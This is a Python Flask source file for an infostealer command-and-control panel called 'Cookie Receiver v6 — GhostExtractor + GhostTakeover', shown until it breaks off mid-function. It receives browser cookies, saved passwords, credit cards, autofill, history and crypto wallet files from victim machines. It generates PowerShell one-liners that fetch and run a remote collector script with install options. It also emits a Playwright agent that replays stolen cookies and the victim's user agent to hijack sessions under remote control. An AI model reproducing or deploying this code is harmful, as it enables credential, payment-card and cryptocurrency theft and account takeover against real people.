#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Cookie Receiver v6 — GhostExtractor + GhostTakeover + Remote Browser
cPanel compatible: Passenger WSGI, Apache mod_rewrite, pure Python.
"""

import os, sys, json, re, sqlite3, hashlib, secrets, urllib.parse, urllib.request, io, zipfile, base64, time
from pathlib import Path
from datetime import datetime
from functools import wraps
from typing import Dict, List, Optional, Any

from flask import Flask, render_template, request, redirect, url_for, session, flash, Response, jsonify, abort

BASE_DIR = Path(__file__).parent.resolve()
CONFIG_PATH = BASE_DIR / "config.json"
SECRET_KEY_FILE = BASE_DIR / ".secret_key"
SCREENSHOT_DIR = BASE_DIR / "static" / "screenshots"
SCREENSHOT_DIR.mkdir(parents=True, exist_ok=True)

def load_config() -> dict:
    defaults = {
        "admin_password": "admin123",
        "proxy_enabled": True,
        "proxy_global": True,
        "require_login_for_dashboard": True,
        "require_login_for_browse": False,
        "browse_token_secret": secrets.token_hex(16),
        "db_path": "cookies.db",
    }
    if CONFIG_PATH.exists():
        loaded = json.loads(CONFIG_PATH.read_text())
        for k, v in defaults.items():
            if k not in loaded:
                loaded[k] = v
        return loaded
    CONFIG_PATH.write_text(json.dumps(defaults, indent=2))
    return defaults

CONFIG = load_config()

app = Flask(__name__)

if SECRET_KEY_FILE.exists():
    app.secret_key = SECRET_KEY_FILE.read_text().strip()
else:
    app.secret_key = secrets.token_hex(32)
    SECRET_KEY_FILE.write_text(app.secret_key)

DB_PATH = BASE_DIR / CONFIG.get("db_path", "cookies.db")

def get_db():
    conn = sqlite3.connect(str(DB_PATH))
    conn.row_factory = sqlite3.Row
    return conn

def init_db():
    conn = get_db()
    conn.executescript("""
        CREATE TABLE IF NOT EXISTS targets (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id TEXT UNIQUE NOT NULL,
            name TEXT,
            machine_name TEXT,
            enabled INTEGER DEFAULT 1,
            proxy_enabled INTEGER DEFAULT 1,
            last_seen TEXT,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP
        );
        CREATE TABLE IF NOT EXISTS browsers (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            target_id INTEGER NOT NULL,
            browser_name TEXT NOT NULL,
            FOREIGN KEY (target_id) REFERENCES targets(id)
        );
        CREATE TABLE IF NOT EXISTS profiles (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            browser_id INTEGER NOT NULL,
            profile_name TEXT NOT NULL,
            FOREIGN KEY (browser_id) REFERENCES browsers(id)
        );
        CREATE TABLE IF NOT EXISTS cookies (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            profile_id INTEGER NOT NULL,
            host TEXT NOT NULL,
            name TEXT NOT NULL,
            value TEXT,
            path TEXT DEFAULT '/',
            expires INTEGER DEFAULT 0,
            expires_readable TEXT,
            secure INTEGER DEFAULT 0,
            httponly INTEGER DEFAULT 0,
            same_site TEXT DEFAULT 'None',
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (profile_id) REFERENCES profiles(id)
        );
        CREATE TABLE IF NOT EXISTS passwords (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            target_id INTEGER NOT NULL,
            browser_name TEXT,
            url TEXT,
            username TEXT,
            password TEXT,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (target_id) REFERENCES targets(id)
        );
        CREATE TABLE IF NOT EXISTS credit_cards (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            target_id INTEGER NOT NULL,
            browser_name TEXT,
            name TEXT,
            number TEXT,
            month INTEGER,
            year INTEGER,
            origin TEXT,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (target_id) REFERENCES targets(id)
        );
        CREATE TABLE IF NOT EXISTS autofill (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            target_id INTEGER NOT NULL,
            browser_name TEXT,
            field TEXT,
            value TEXT,
            count INTEGER DEFAULT 0,
            last_used TEXT,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (target_id) REFERENCES targets(id)
        );
        CREATE TABLE IF NOT EXISTS history (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            target_id INTEGER NOT NULL,
            browser_name TEXT,
            url TEXT,
            title TEXT,
            visits INTEGER DEFAULT 0,
            last_visit INTEGER DEFAULT 0,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (target_id) REFERENCES targets(id)
        );
        CREATE TABLE IF NOT EXISTS downloads (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            target_id INTEGER NOT NULL,
            browser_name TEXT,
            path TEXT,
            url TEXT,
            size INTEGER DEFAULT 0,
            time INTEGER DEFAULT 0,
            mime TEXT,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (target_id) REFERENCES targets(id)
        );
        CREATE TABLE IF NOT EXISTS bookmarks (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            target_id INTEGER NOT NULL,
            browser_name TEXT,
            name TEXT,
            url TEXT,
            folder TEXT,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (target_id) REFERENCES targets(id)
        );
        CREATE TABLE IF NOT EXISTS wallets (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            target_id INTEGER NOT NULL,
            browser_name TEXT,
            wallet_name TEXT,
            file_name TEXT,
            file_size INTEGER,
            file_data BLOB,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (target_id) REFERENCES targets(id)
        );
        CREATE TABLE IF NOT EXISTS desktop_wallets (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            target_id INTEGER NOT NULL,
            wallet_name TEXT,
            file_name TEXT,
            file_size INTEGER,
            file_data BLOB,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (target_id) REFERENCES targets(id)
        );
        CREATE TABLE IF NOT EXISTS user_agents (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            target_id INTEGER NOT NULL,
            browser_name TEXT,
            user_agent TEXT,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (target_id) REFERENCES targets(id)
        );
        CREATE TABLE IF NOT EXISTS remote_sessions (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            profile_id INTEGER NOT NULL,
            session_token TEXT UNIQUE NOT NULL,
            status TEXT DEFAULT 'offline',
            current_url TEXT,
            last_screenshot TEXT,
            last_seen INTEGER DEFAULT 0,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (profile_id) REFERENCES profiles(id)
        );
        CREATE TABLE IF NOT EXISTS remote_commands (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            session_id INTEGER NOT NULL,
            cmd_type TEXT NOT NULL,
            cmd_data TEXT,
            executed INTEGER DEFAULT 0,
            created_at TEXT DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (session_id) REFERENCES remote_sessions(id)
        );
    """)
    conn.commit()
    conn.close()

init_db()

def hash_pw(pw: str) -> str:
    return hashlib.sha256(pw.encode()).hexdigest()

def get_admin_password() -> str:
    return hash_pw(CONFIG.get("admin_password", "admin123"))

def login_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        if CONFIG.get("require_login_for_dashboard", True) and not session.get("logged_in"):
            return redirect(url_for("login"))
        return f(*args, **kwargs)
    return decorated

def browse_access_required(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        if not CONFIG.get("require_login_for_browse", False):
            return f(*args, **kwargs)
        if session.get("logged_in"):
            return f(*args, **kwargs)
        token = request.args.get("token", "")
        expected = hashlib.sha256((CONFIG.get("browse_token_secret", "") + str(kwargs.get("profile_id", ""))).encode()).hexdigest()[:16]
        if token == expected:
            return f(*args, **kwargs)
        abort(403)
    return decorated

def generate_powershell(mode: str) -> str:
    receiver_url = request.url_root.rstrip("/")
    extra = ""
    if mode == "install":
        extra = " --install"
    elif mode == "uninstall":
        extra = " --uninstall"
    script_url = f"{receiver_url}/static/cookie_sender.py"
    ps = '$uv = "$env:TEMP\\uv.exe"\n'
    ps += 'if (!(Test-Path $uv)) {\n'
    ps += '    iwr -Uri "https://github.com/astral-sh/uv/releases/latest/download/uv-x86_64-pc-windows-msvc.zip" -OutFile "$env:TEMP\\uv.zip"\n'
    ps += '    Expand-Archive "$env:TEMP\\uv.zip" -DestinationPath "$env:TEMP\\uv_tmp" -Force\n'
    ps += '    Move-Item "$env:TEMP\\uv_tmp\\uv.exe" $uv -Force\n'
    ps += '}\n'
    ps += f'& $uv run "{script_url}" --receiver "{receiver_url}"{extra}'
    return ps

def _sanitize_domain(host: str) -> str:
    if not host:
        return ""
    host = host.lstrip(".")
    host = host.replace("..", ".")
    if host.endswith("."):
        host = host[:-1]
    return host.lower()

def _epoch_to_readable(sec: int) -> str:
    if sec <= 0:
        return "Session"
    try:
        return datetime.fromtimestamp(sec).strftime("%Y-%m-%d %H:%M")
    except Exception:
        return "Session"

# =========================================================================
# API — GhostExtractor Enhanced Upload
# =========================================================================
@app.route("/api/upload", methods=["POST"])
def api_upload():
    data = request.get_json(force=True)
    if not data or "browsers" not in data:
        return jsonify({"success": False, "error": "Invalid payload"}), 400

    user_id = data.get("user_id", "unknown")
    machine_name = data.get("machine_name", "unknown")
    timestamp = data.get("timestamp", datetime.now().isoformat())

    conn = get_db()
    cur = conn.cursor()

    cur.execute("SELECT id, enabled FROM targets WHERE user_id = ?", (user_id,))
    row = cur.fetchone()
    if row and not row["enabled"]:
        conn.close()
        return jsonify({"success": False, "error": "Target collection disabled"}), 403

    if row:
        target_db_id = row["id"]
        cur.execute("UPDATE targets SET last_seen = ?, machine_name = ? WHERE id = ?",
                    (timestamp, machine_name, target_db_id))
    else:
        cur.execute("INSERT INTO targets (user_id, name, machine_name, last_seen, enabled, proxy_enabled) VALUES (?, ?, ?, ?, ?, ?)",
                    (user_id, machine_name or user_id, machine_name, timestamp, 1, 1))
        target_db_id = cur.lastrowid

    for tbl in ["cookies","profiles","browsers","passwords","credit_cards","autofill","history","downloads","bookmarks","wallets","desktop_wallets","user_agents"]:
        if tbl == "cookies":
            cur.execute("DELETE FROM cookies WHERE profile_id IN (SELECT p.id FROM profiles p JOIN browsers b ON p.browser_id = b.id WHERE b.target_id = ?)", (target_db_id,))
        elif tbl == "profiles":
            cur.execute("DELETE FROM profiles WHERE browser_id IN (SELECT id FROM browsers WHERE target_id = ?)", (target_db_id,))
        elif tbl == "browsers":
            cur.execute("DELETE FROM browsers WHERE target_id = ?", (target_db_id,))
        else:
            cur.execute(f"DELETE FROM {tbl} WHERE target_id = ?", (target_db_id,))

    total_cookies = 0
    for browser in data.get("browsers", []):
        browser_name = browser["browser_name"]
        cur.execute("INSERT INTO browsers (target_id, browser_name) VALUES (?, ?)",
                    (target_db_id, browser_name))
        browser_db_id = cur.lastrowid

        for prof in browser.get("profiles", []):
            profile_name = prof["profile_name"]
            cur.execute("INSERT INTO profiles (browser_id, profile_name) VALUES (?, ?)",
                        (browser_db_id, profile_name))
            profile_db_id = cur.lastrowid

            for c in prof.get("cookies", []):
                expires = c.get("expires", 0)
                cur.execute("""
                    INSERT INTO cookies (profile_id, host, name, value, path, expires, expires_readable, secure, httponly, same_site)
                    VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
                """, (profile_db_id, _sanitize_domain(c["host"]), c["name"], c["value"],
                      c.get("path", "/"), expires, _epoch_to_readable(expires),
                      int(c.get("secure", False)), int(c.get("httponly", False)),
                      c.get("same_site", "None")))
                total_cookies += 1

    for pw in data.get("passwords", []):
        cur.execute("INSERT INTO passwords (target_id, browser_name, url, username, password) VALUES (?, ?, ?, ?, ?)",
                    (target_db_id, pw.get("browser", ""), pw.get("url", ""), pw.get("username", ""), pw.get("password", "")))

    for card in data.get("credit_cards", []):
        cur.execute("INSERT INTO credit_cards (target_id, browser_name, name, number, month, year, origin) VALUES (?, ?, ?, ?, ?, ?, ?)",
                    (target_db_id, card.get("browser", ""), card.get("name", ""), card.get("number", ""),
                     card.get("month", 0), card.get("year", 0), card.get("origin", "")))

    for af in data.get("autofill", []):
        cur.execute("INSERT INTO autofill (target_id, browser_name, field, value, count, last_used) VALUES (?, ?, ?, ?, ?, ?)",
                    (target_db_id, af.get("browser", ""), af.get("field", ""), af.get("value", ""),
                     af.get("count", 0), af.get("last_used", "")))

    for h in data.get("history", []):
        cur.execute("INSERT INTO history (target_id, browser_name, url, title, visits, last_visit) VALUES (?, ?, ?, ?, ?, ?)",
                    (target_db_id, h.get("browser", ""), h.get("url", ""), h.get("title", ""),
                     h.get("visits", 0), h.get("last_visit", 0)))

    for d in data.get("downloads", []):
        cur.execute("INSERT INTO downloads (target_id, browser_name, path, url, size, time, mime) VALUES (?, ?, ?, ?, ?, ?, ?)",
                    (target_db_id, d.get("browser", ""), d.get("path", ""), d.get("url", ""),
                     d.get("size", 0), d.get("time", 0), d.get("mime", "")))

    for bm in data.get("bookmarks", []):
        cur.execute("INSERT INTO bookmarks (target_id, browser_name, name, url, folder) VALUES (?, ?, ?, ?, ?)",
                    (target_db_id, bm.get("browser", ""), bm.get("name", ""), bm.get("url", ""), bm.get("folder", "")))

    for w in data.get("wallets", []):
        for fname, fdata in w.get("files", {}).items():
            raw = None
            try:
                raw = base64.b64decode(fdata.get("content_b64", ""))
            except Exception:
                continue
            cur.execute("INSERT INTO wallets (target_id, browser_name, wallet_name, file_name, file_size, file_data) VALUES (?, ?, ?, ?, ?, ?)",
                        (target_db_id, w.get("browser", ""), w.get("wallet_name", ""), fname,
                         fdata.get("size", 0), raw))

    for dw in data.get("desktop_wallets", []):
        for fname, fdata in dw.get("files", {}).items():
            raw = None
            try:
                raw = base64.b64decode(fdata.get("content_b64", ""))
            except Exception:
                continue
            cur.execute("INSERT INTO desktop_wallets (target_id, wallet_name, file_name, file_size, file_data) VALUES (?, ?, ?, ?, ?)",
                        (target_db_id, dw.get("wallet_name", ""), fname,
                         fdata.get("size", 0), raw))

    for ua in data.get("user_agents", []):
        cur.execute("INSERT INTO user_agents (target_id, browser_name, user_agent) VALUES (?, ?, ?)",
                    (target_db_id, ua.get("browser", ""), ua.get("user_agent", "")))

    conn.commit()
    conn.close()

    return jsonify({"success": True, "cookies_stored": total_cookies})

# =========================================================================
# REMOTE BROWSER API
# =========================================================================

def _get_or_create_session(profile_id: int) -> str:
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT id, session_token FROM remote_sessions WHERE profile_id = ? ORDER BY id DESC LIMIT 1", (profile_id,))
    row = cur.fetchone()
    if row:
        token = row["session_token"]
        cur.execute("UPDATE remote_sessions SET last_seen = ? WHERE id = ?", (int(time.time()), row["id"]))
        conn.commit()
        conn.close()
        return token
    token = secrets.token_hex(16)
    cur.execute("INSERT INTO remote_sessions (profile_id, session_token, status, last_seen) VALUES (?, ?, 'offline', ?)",
                (profile_id, token, int(time.time())))
    conn.commit()
    conn.close()
    return token

@app.route("/remote/<int:profile_id>")
@login_required
def remote_browser(profile_id):
    conn = get_db()
    profile = conn.execute("""
        SELECT p.*, b.browser_name, t.user_id, t.machine_name, t.name as target_name
        FROM profiles p JOIN browsers b ON p.browser_id = b.id JOIN targets t ON b.target_id = t.id WHERE p.id = ?
    """, (profile_id,)).fetchone()
    if not profile:
        abort(404)
    session_token = _get_or_create_session(profile_id)
    conn.close()
    return render_template("remote_browser.html", profile=profile, profile_id=profile_id, session_token=session_token)

@app.route("/api/remote/cookies/<int:profile_id>")
def api_remote_cookies(profile_id):
    token = request.args.get("token", "")
    conn = get_db()
    sess = conn.execute("SELECT id FROM remote_sessions WHERE profile_id = ? AND session_token = ?", (profile_id, token)).fetchone()
    if not sess:
        conn.close()
        return jsonify({"error": "Invalid token"}), 403
    cookies = conn.execute("SELECT host, name, value, path, expires, secure, httponly, same_site FROM cookies WHERE profile_id = ?", (profile_id,)).fetchall()
    uas = conn.execute("SELECT browser_name, user_agent FROM user_agents WHERE target_id = (SELECT t.id FROM profiles p JOIN browsers b ON p.browser_id = b.id JOIN targets t ON b.target_id = t.id WHERE p.id = ?)", (profile_id,)).fetchall()
    conn.close()
    return jsonify({
        "cookies": [dict(c) for c in cookies],
        "user_agents": {u["browser_name"]: u["user_agent"] for u in uas},
    })

@app.route("/api/remote/screenshot/<int:profile_id>", methods=["POST"])
def api_remote_screenshot(profile_id):
    token = request.args.get("token", "")
    conn = get_db()
    sess = conn.execute("SELECT id FROM remote_sessions WHERE profile_id = ? AND session_token = ?", (profile_id, token)).fetchone()
    if not sess:
        conn.close()
        return jsonify({"error": "Invalid token"}), 403
    screenshot_data = request.get_data()
    if not screenshot_data:
        conn.close()
        return jsonify({"error": "No data"}), 400
    fname = f"{profile_id}_{token}.png"
    fpath = SCREENSHOT_DIR / fname
    with open(fpath, "wb") as f:
        f.write(screenshot_data)
    cur = conn.cursor()
    cur.execute("UPDATE remote_sessions SET last_screenshot = ?, last_seen = ?, status = 'online', current_url = ? WHERE id = ?",
                (fname, int(time.time()), request.args.get("url", ""), sess["id"]))
    conn.commit()
    conn.close()
    return jsonify({"success": True})

@app.route("/api/remote/screenshot/<int:profile_id>", methods=["GET"])
def api_get_screenshot(profile_id):
    token = request.args.get("token", "")
    conn = get_db()
    sess = conn.execute("SELECT last_screenshot, last_seen FROM remote_sessions WHERE profile_id = ? AND session_token = ?", (profile_id, token)).fetchone()
    conn.close()
    if not sess or not sess["last_screenshot"]:
        return "", 204
    fpath = SCREENSHOT_DIR / sess["last_screenshot"]
    if not fpath.exists():
        return "", 404
    if int(time.time()) - sess["last_seen"] > 10:
        return "", 204
    return Response(fpath.read_bytes(), content_type="image/png")

@app.route("/api/remote/command/<int:profile_id>", methods=["POST"])
@login_required
def api_send_command(profile_id):
    token = request.args.get("token", "")
    conn = get_db()
    sess = conn.execute("SELECT id FROM remote_sessions WHERE profile_id = ? AND session_token = ?", (profile_id, token)).fetchone()
    if not sess:
        conn.close()
        return jsonify({"error": "Invalid token"}), 403
    cmd_type = request.json.get("type", "")
    cmd_data = json.dumps(request.json.get("data", {}))
    cur = conn.cursor()
    cur.execute("INSERT INTO remote_commands (session_id, cmd_type, cmd_data) VALUES (?, ?, ?)",
                (sess["id"], cmd_type, cmd_data))
    conn.commit()
    conn.close()
    return jsonify({"success": True})

@app.route("/api/remote/commands/<int:profile_id>")
def api_poll_commands(profile_id):
    token = request.args.get("token", "")
    conn = get_db()
    sess = conn.execute("SELECT id FROM remote_sessions WHERE profile_id = ? AND session_token = ?", (profile_id, token)).fetchone()
    if not sess:
        conn.close()
        return jsonify({"error": "Invalid token"}), 403
    cur = conn.cursor()
    cur.execute("SELECT id, cmd_type, cmd_data FROM remote_commands WHERE session_id = ? AND executed = 0 ORDER BY id", (sess["id"],))
    cmds = cur.fetchall()
    for cmd in cmds:
        cur.execute("UPDATE remote_commands SET executed = 1 WHERE id = ?", (cmd["id"],))
    cur.execute("UPDATE remote_sessions SET last_seen = ?, status = 'online' WHERE id = ?", (int(time.time()), sess["id"]))
    conn.commit()
    conn.close()
    return jsonify({"commands": [{"type": c["cmd_type"], "data": json.loads(c["cmd_data"])} for c in cmds]})

@app.route("/api/remote/status/<int:profile_id>")
def api_remote_status(profile_id):
    token = request.args.get("token", "")
    conn = get_db()
    sess = conn.execute("SELECT status, last_seen, current_url FROM remote_sessions WHERE profile_id = ? AND session_token = ?", (profile_id, token)).fetchone()
    conn.close()
    if not sess:
        return jsonify({"status": "offline"})
    is_online = (int(time.time()) - sess["last_seen"]) < 10
    return jsonify({"status": "online" if is_online else "offline", "url": sess["current_url"]})

@app.route("/api/remote/script/<int:profile_id>")
@login_required
def api_remote_script(profile_id):
    token = request.args.get("token", "")
    receiver_url = request.url_root.rstrip("/")
    script = f"""#!/usr/bin/env python3
# Remote Browser Agent for Profile {profile_id}

import sys, json, time, os, urllib.request, urllib.error, base64, io

SERVER_URL = "{receiver_url}"
PROFILE_ID = {profile_id}
SESSION_TOKEN = "{token}"

def ensure_playwright():
    try:
        from playwright.sync_api import sync_playwright
        return sync_playwright
    except ImportError:
        print("[*] Installing playwright...")
        import subprocess
        subprocess.check_call([sys.executable, "-m", "pip", "install", "playwright", "--quiet", "--no-warn-script-location"],
                              stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        subprocess.check_call([sys.executable, "-m", "playwright", "install", "chromium"],
                              stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        from playwright.sync_api import sync_playwright
        return sync_playwright

def fetch_cookies():
    req = urllib.request.Request(f"{{SERVER_URL}}/api/remote/cookies/{{PROFILE_ID}}?token={{SESSION_TOKEN}}")
    with urllib.request.urlopen(req, timeout=30) as resp:
        return json.loads(resp.read().decode())

def send_screenshot(page):
    try:
        png = page.screenshot(type="png")
        req = urllib.request.Request(
            f"{{SERVER_URL}}/api/remote/screenshot/{{PROFILE_ID}}?token={{SESSION_TOKEN}}&url={{urllib.parse.quote(page.url)}}",
            data=png,
            headers={{"Content-Type": "image/png"}},
            method="POST",
        )
        urllib.request.urlopen(req, timeout=10)
    except Exception as e:
        print(f"[!] Screenshot failed: {{e}}")

def poll_commands():
    try:
        req = urllib.request.Request(f"{{SERVER_URL}}/api/remote/commands/{{PROFILE_ID}}?token={{SESSION_TOKEN}}")
        with urllib.request.urlopen(req, timeout=10) as resp:
            return json.loads(resp.read().decode()).get("commands", [])
    except Exception:
        return []

def main():
    print("[*] Fetching cookies from server...")
    data = fetch_cookies()
    cookies = data.get("cookies", [])
    uas = data.get("user_agents", {{}})
    print(f"[*] {{len(cookies)}} cookies loaded")
    sync_playwright = ensure_playwright()
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=False, args=["--window-size=1280,800"])
        context = browser.new_context(viewport={{"width": 1280, "height": 800}})
        page = context.new_page()
        for c in cookies:
            try:
                domain = c["host"]
                if not domain.startswith("."):
                    domain = "." + domain
                context.add_cookies([{{
                    "name": c["name"],
                    "value": c["value"],
                    "domain": domain,
                    "path": c.get("path", "/"),
                    "secure": bool(c.get("secure", 0)),
                    "httpOnly": bool(c.get("httponly", 0)),
                    "sameSite": c.get("same_site", "Lax"),
                    "expires": c.get("expires", int(time.time()) + 86400),
                }}])
            except Exception:
                pass
        victim_ua = None
        for k, v in uas.items():
            victim_ua = v
            break
        if victim_ua:
            page.set_extra_http_headers({{"User-Agent": victim_ua}})
        print("[*] Browser launched. Streaming screenshots to server...")
        page.goto("about:blank")
        while True:
            try:
                send_screenshot(page)
                cmds = poll_commands()
                for cmd in cmds:
                    ctype = cmd.get("type", "")
                    cdata = cmd.get("data", {{}})
                    if ctype == "navigate":
                        url = cdata.get("url", "")
                        if url:
                            page.goto(url)
                    elif ctype == "click":
                        x, y = cdata.get("x", 0), cdata.get("y", 0)
                        page.mouse.click(x, y)
                    elif ctype == "type":
                        text = cdata.get("text", "")
                        page.keyboard.type(text)
                    elif ctype == "key":
                        key = cdata.get("key", "")
                        page.keyboard.press(key)
                    elif ctype == "scroll":
                        dx, dy = cdata.get("dx", 0), cdata.get("dy", 0)
                        page.mouse.wheel(dx, dy)
                time.sleep(1)
            except KeyboardInterrupt:
                break
            except Exception as e:
                print(f"[!] Loop error: {{e}}")
                time.sleep(2)
        browser.close()
    print("[*] Remote browser stopped.")

if __name__ == "__main__":
    main()
"""
    return Response(script, content_type="text/plain; charset=utf-8",
                    headers={"Content-Disposition": f'attachment; filename="remote_browser_{profile_id}.py"'})

# =========================================================================
# WEB UI
# =========================================================================
@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        pw = request.form.get("password", "")
        if hash_pw(pw) == get_admin_password():
            session["logged_in"] = True
            return redirect(url_for("dashboard"))
        flash("Invalid password", "error")
    return render_template("login.html")

@app.route("/logout")
def logout():
    session.clear()
    return redirect(url_for("login"))

@app.route("/")
@login_required
def dashboard():
    conn = get_db()
    targets = conn.execute("""
        SELECT t.*,
               COUNT(DISTINCT b.id) as browser_count,
               COUNT(DISTINCT p.id) as profile_count,
               COUNT(DISTINCT c.id) as cookie_count
        FROM targets t
        LEFT JOIN browsers b ON t.id = b.target_id
        LEFT JOIN profiles p ON b.id = p.browser_id
        LEFT JOIN cookies c ON p.id = c.profile_id
        GROUP BY t.id
        ORDER BY t.last_seen DESC
    """).fetchall()

    stats = {
        "total_targets": len(targets),
        "total_cookies": sum(t["cookie_count"] or 0 for t in targets),
        "total_passwords": conn.execute("SELECT COUNT(*) FROM passwords").fetchone()[0],
        "total_cards": conn.execute("SELECT COUNT(*) FROM credit_cards").fetchone()[0],
        "total_history": conn.execute("SELECT COUNT(*) FROM history").fetchone()[0],
        "total_wallets": conn.execute("SELECT COUNT(*) FROM wallets").fetchone()[0] +
                         conn.execute("SELECT COUNT(*) FROM desktop_wallets").fetchone()[0],
        "proxy_enabled": CONFIG.get("proxy_enabled", True),
    }
    conn.close()

    ps_run = generate_powershell("run")
    ps_install = generate_powershell("install")
    ps_uninstall = generate_powershell("uninstall")

    return render_template("dashboard.html", targets=targets, stats=stats,
                           ps_run=ps_run, ps_install=ps_install, ps_uninstall=ps_uninstall)

@app.route("/target/<int:target_id>")
@login_required
def target_detail(target_id):
    conn = get_db()
    target = conn.execute("SELECT * FROM targets WHERE id = ?", (target_id,)).fetchone()
    if not target:
        abort(404)

    browsers = conn.execute("""
        SELECT b.*,
               COUNT(DISTINCT p.id) as profile_count,
               COUNT(DISTINCT c.id) as cookie_count
        FROM browsers b
        LEFT JOIN profiles p ON b.id = p.browser_id
        LEFT JOIN cookies c ON p.id = c.profile_id
        WHERE b.target_id = ?
        GROUP BY b.id
    """, (target_id,)).fetchall()

    pw_count = conn.execute("SELECT COUNT(*) FROM passwords WHERE target_id = ?", (target_id,)).fetchone()[0]
    card_count = conn.execute("SELECT COUNT(*) FROM credit_cards WHERE target_id = ?", (target_id,)).fetchone()[0]
    autofill_count = conn.execute("SELECT COUNT(*) FROM autofill WHERE target_id = ?", (target_id,)).fetchone()[0]
    history_count = conn.execute("SELECT COUNT(*) FROM history WHERE target_id = ?", (target_id,)).fetchone()[0]
    dl_count = conn.execute("SELECT COUNT(*) FROM downloads WHERE target_id = ?", (target_id,)).fetchone()[0]
    bm_count = conn.execute("SELECT COUNT(*) FROM bookmarks WHERE target_id = ?", (target_id,)).fetchone()[0]
    wallet_count = conn.execute("SELECT COUNT(*) FROM wallets WHERE target_id = ?", (target_id,)).fetchone()[0]
    dw_count = conn.execute("SELECT COUNT(*) FROM desktop_wallets WHERE target_id = ?", (target_id,)).fetchone()[0]
    ua_count = conn.execute("SELECT COUNT(*) FROM user_agents WHERE target_id = ?", (target_id,)).fetchone()[0]
    conn.close()

    ps_run = generate_powershell("run")
    ps_install = generate_powershell("install")
    ps_uninstall = generate_powershell("uninstall")

    return render_template("target.html", target=target, browsers=browsers,
                           pw_count=pw_count, card_count=card_count,
                           autofill_count=autofill_count, history_count=history_count,
                           dl_count=dl_count, bm_count=bm_count,
                           wallet_count=wallet_count, dw_count=dw_count, ua_count=ua_count,
                           ps_run=ps_run, ps_install=ps_install, ps_uninstall=ps_uninstall)

@app.route("/target/<int:target_id>/toggle", methods=["POST"])
@login_required
def toggle_target(target_id):
    conn = get_db()
    target = conn.execute("SELECT enabled FROM targets WHERE id = ?", (target_id,)).fetchone()
    if target:
        new_state = 0 if target["enabled"] else 1
        conn.execute("UPDATE targets SET enabled = ? WHERE id = ?", (new_state, target_id))
        conn.commit()
        flash("Updated", "success")
    conn.close()
    return redirect(url_for("target_detail", target_id=target_id))

@app.route("/target/<int:target_id>/toggle_proxy", methods=["POST"])
@login_required
def toggle_target_proxy(target_id):
    conn = get_db()
    target = conn.execute("SELECT proxy_enabled FROM targets WHERE id = ?", (target_id,)).fetchone()
    if target:
        new_state = 0 if target["proxy_enabled"] else 1
        conn.execute("UPDATE targets SET proxy_enabled = ? WHERE id = ?", (new_state, target_id))
        conn.commit()
        flash("Updated", "success")
    conn.close()
    return redirect(url_for("target_detail", target_id=target_id))

@app.route("/target/<int:target_id>/delete", methods=["POST"])
@login_required
def delete_target(target_id):
    conn = get_db()
    for tbl in ["cookies","profiles","browsers","passwords","credit_cards","autofill",
                "history","downloads","bookmarks","wallets","desktop_wallets","user_agents","targets"]:
        conn.execute(f"DELETE FROM {tbl} WHERE target_id = ?" if tbl != "targets" else f"DELETE FROM {tbl} WHERE id = ?", (target_id,))
    conn.commit()
    conn.close()
    flash("Target deleted", "success")
    return redirect(url_for("dashboard"))

# Ghost data views
@app.route("/target/<int:target_id>/passwords")
@login_required
def target_passwords(target_id):
    conn = get_db()
    target = conn.execute("SELECT * FROM targets WHERE id = ?", (target_id,)).fetchone()
    passwords = conn.execute("SELECT * FROM passwords WHERE target_id = ? ORDER BY url", (target_id,)).fetchall()
    conn.close()
    return render_template("ghost_passwords.html", target=target, passwords=passwords)

@app.route("/target/<int:target_id>/cards")
@login_required
def target_cards(target_id):
    conn = get_db()
    target = conn.execute("SELECT * FROM targets WHERE id = ?", (target_id,)).fetchone()
    cards = conn.execute("SELECT * FROM credit_cards WHERE target_id = ?", (target_id,)).fetchall()
    conn.close()
    return render_template("ghost_cards.html", target=target, cards=cards)

@app.route("/target/<int:target_id>/history")
@login_required
def target_history(target_id):
    conn = get_db()
    target = conn.execute("SELECT * FROM targets WHERE id = ?", (target_id,)).fetchone()
    history = conn.execute("SELECT * FROM history WHERE target_id = ? ORDER BY last_visit DESC LIMIT 2000", (target_id,)).fetchall()
    conn.close()
    return render_template("ghost_history.html", target=target, history=history)

@app.route("/target/<int:target_id>/downloads")
@login_required
def target_downloads(target_id):
    conn = get_db()
    target = conn.execute("SELECT * FROM targets WHERE id = ?", (target_id,)).fetchone()
